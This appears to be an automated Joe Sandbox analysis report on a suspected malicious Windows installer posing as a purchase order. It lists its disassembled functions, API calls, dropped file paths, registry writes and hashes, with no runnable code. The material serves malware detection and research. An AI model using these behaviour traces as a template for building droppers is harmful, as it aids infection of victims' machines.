Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nst14AC.tmp$C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll$C:\Users\user\AppData\Local\sillinesses\Foiningly$Call
API String ID: 1941528284-187489355
Opcode ID: 7fae95537fd550c9b23cdb732f8be4552f44834447fe318359e00607eb2eebaf
Instruction ID: 24a82d921ca393d09b0f70664e9a68f54f64900ed4cc6ef124b6c19d11fe7a64
Opcode Fuzzy Hash: 7fae95537fd550c9b23cdb732f8be4552f44834447fe318359e00607eb2eebaf
Instruction Fuzzy Hash: 12419371900518BACF107BA5DD46DAF3A79EF45368F20423FF422B10E1DA3C8A519A6D

Function 00405322 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
lstrlenW.KERNEL32(0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,0040327A,0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0), ref: 0040537D
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll), ref: 0040538F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll, xrefs: 00405343, 00405353, 00405359, 0040537C, 00405388

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll
API String ID: 2531174081-1090293766
Opcode ID: 1706c8bfaee06fe948536b36c511b95b14908b6c3217ac5f56fabf370ecdb5cf
Instruction ID: 851cb2e595d07e8670ef4c489cf40fd5108cb81fe88e509cf6dd9e4b353e565e
Opcode Fuzzy Hash: 1706c8bfaee06fe948536b36c511b95b14908b6c3217ac5f56fabf370ecdb5cf
Instruction Fuzzy Hash: 20218371900518BACF11AFA5DD859CFBFB9EF45350F14807AF904B62A0C7B94A40DFA8

Function 00403116 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403227
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403250
wsprintfW.USER32 ref: 00403263

Strings

... %d%%, xrefs: 0040325D
@, xrefs: 0040319A
JrA, xrefs: 004031ED, 004031FF

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$JrA$@
API String ID: 551687249-1851874788
Opcode ID: 96eaf062ea73649446efa1d4ac15cc7ad135f89646bd32d400015c4a483b639e
Instruction ID: 5c504835c6c52170eea8577a9cac8da2a2598cbf1b76cdbdeb728d3f56fa2377
Opcode Fuzzy Hash: 96eaf062ea73649446efa1d4ac15cc7ad135f89646bd32d400015c4a483b639e
Instruction Fuzzy Hash: AA517A71900219DBCB10DFA5DA84A9E7BB8AF04366F14417BEC14B72C0CB78DA40CBA9

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405E91: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405EA7

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 19438e2e62ba8aece1a895eee3c3762f252ce0cb36923fbe756b3879527f42a2
Instruction ID: 0a1b8613d15e357d59cabb4a84863d73d9dad353ca9b6e0785da3ca47288b3a0
Opcode Fuzzy Hash: 19438e2e62ba8aece1a895eee3c3762f252ce0cb36923fbe756b3879527f42a2
Instruction Fuzzy Hash: 42511974D00219AEDF219F95DA88AAEB779FF04304F10443BE901B72D0DBB89982CB18

Function 00406624 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040663B
wsprintfW.USER32 ref: 00406676
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 0040668A

Strings

UXTHEME, xrefs: 0040662D
\, xrefs: 0040664C
%s%S.dll, xrefs: 00406670

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 9fa172bba6ca99a644905d2b6d7ed641771312ed853c50fe9922007c80c3d461
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 7CF0FC70501119A6CF10BB64DD0EF9B365CA700304F10447AA54AF10D1EBB9DB64CB99

Function 004057F1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405834
GetLastError.KERNEL32 ref: 00405848
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040585D
GetLastError.KERNEL32 ref: 00405867

Strings

C:\Users\user\Desktop, xrefs: 004057F1

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-224404859
Opcode ID: 817c7eeb2e6ade2cce28f3b9d2e4670c9c7091e2f59c9eba6f9578a5288f1365
Instruction ID: d156970015101e62572267df52bf1fb018b172c5ebb67f048bc3511340661aba
Opcode Fuzzy Hash: 817c7eeb2e6ade2cce28f3b9d2e4670c9c7091e2f59c9eba6f9578a5288f1365
Instruction Fuzzy Hash: EB010872D00219EADF009FA1C944BEFBBB8EF14304F00803AE945B6280D7789618CFA9

Function 00405DDF Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DFD
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",0040338D,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9), ref: 00405E18

Strings

nsa, xrefs: 00405DEC
"C:\Users\user\Desktop\PO 0309494059506060609696007.exe", xrefs: 00405DDF
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DE4, 00405DE8

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3886946505
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: af8b6ba947558e1b0daa3aed001b6e0f80e178ffca66ecedc63f3e0829e9a41e
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: 61F03076A00304FBEB009F69ED05E9FB7BCEB95710F10803AE941E7250E6B09A548B64

Function 6E421777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E421B5F: GlobalFree.KERNEL32(?), ref: 6E421DB2
Part of subcall function 6E421B5F: GlobalFree.KERNEL32(?), ref: 6E421DB7
Part of subcall function 6E421B5F: GlobalFree.KERNEL32(?), ref: 6E421DBC

GlobalFree.KERNEL32(00000000), ref: 6E421825
FreeLibrary.KERNEL32(?), ref: 6E4218AB
GlobalFree.KERNEL32(00000000), ref: 6E4218D0

Part of subcall function 6E422352: GlobalAlloc.KERNEL32(00000040,?), ref: 6E422383

Part of subcall function 6E422724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6E4217F6,00000000), ref: 6E4227F4

Part of subcall function 6E4215C6: wsprintfW.USER32 ref: 6E4215F4

Strings

, xrefs: 6E4218B1

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: e355ac7433723acd36a495dee2d8061be2a32891b98d9f8143f8e2ae3d6c4e43
Instruction ID: fbe15fc90b6c45de15e2e561e81e7873ecd309677dcaa00f99556fe44f091722
Opcode Fuzzy Hash: e355ac7433723acd36a495dee2d8061be2a32891b98d9f8143f8e2ae3d6c4e43
Instruction Fuzzy Hash: 2741AE71800245AEDF109FF499D4FD637ACBF05354F1448BBE9159E38ADBBA8189CBA0

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 7e3eeff1b63bcc2d517f183bf836ef2b026841584b0bf51ee9d38dd24623c36e
Instruction ID: 9b2162bbfebbb1b7b3748198b6c02d748cac4cdb6124cb19748b2f92d1b33cd7
Opcode Fuzzy Hash: 7e3eeff1b63bcc2d517f183bf836ef2b026841584b0bf51ee9d38dd24623c36e
Instruction Fuzzy Hash: 8E219371948209AEEF059FB5DE4AABE7BB5EF84304F14443EF605B61D0D7B889409B18

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nst14AC.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nst14AC.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst14AC.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nst14AC.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst14AC.tmp
API String ID: 2655323295-990186709
Opcode ID: 9f44fae4feaf80abe13c7d1901b8792fbf05e0e188fbec8c03c8727959a673d1
Instruction ID: 076fdad28fc4eb621c0ae83062707e46e05f76c541c0890e85279b1380dde0ba
Opcode Fuzzy Hash: 9f44fae4feaf80abe13c7d1901b8792fbf05e0e188fbec8c03c8727959a673d1
Instruction Fuzzy Hash: F1118471D00108BEEB10AFA5DE89EAEBA74EB44754F15803BF504F71D1DBB48D409B28

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
Instruction ID: fc7ade2e12cd9e993d25f9a328d8db16c9603ee1eb20de8c24b8f84b94a82c23
Opcode Fuzzy Hash: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
Instruction Fuzzy Hash: B4116A32500109FBDF02AB90CE09FEE7B7DAF54340F100076B904B51E1E7B59E21AB68

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405C3A: CharNextW.USER32(?,?,C:\,?,00405CAE,C:\,C:\,?,?,74DF3420,004059EC,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C48
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C4D
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C65

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 004057F1: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405834

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\sillinesses\Foiningly,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\sillinesses\Foiningly, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
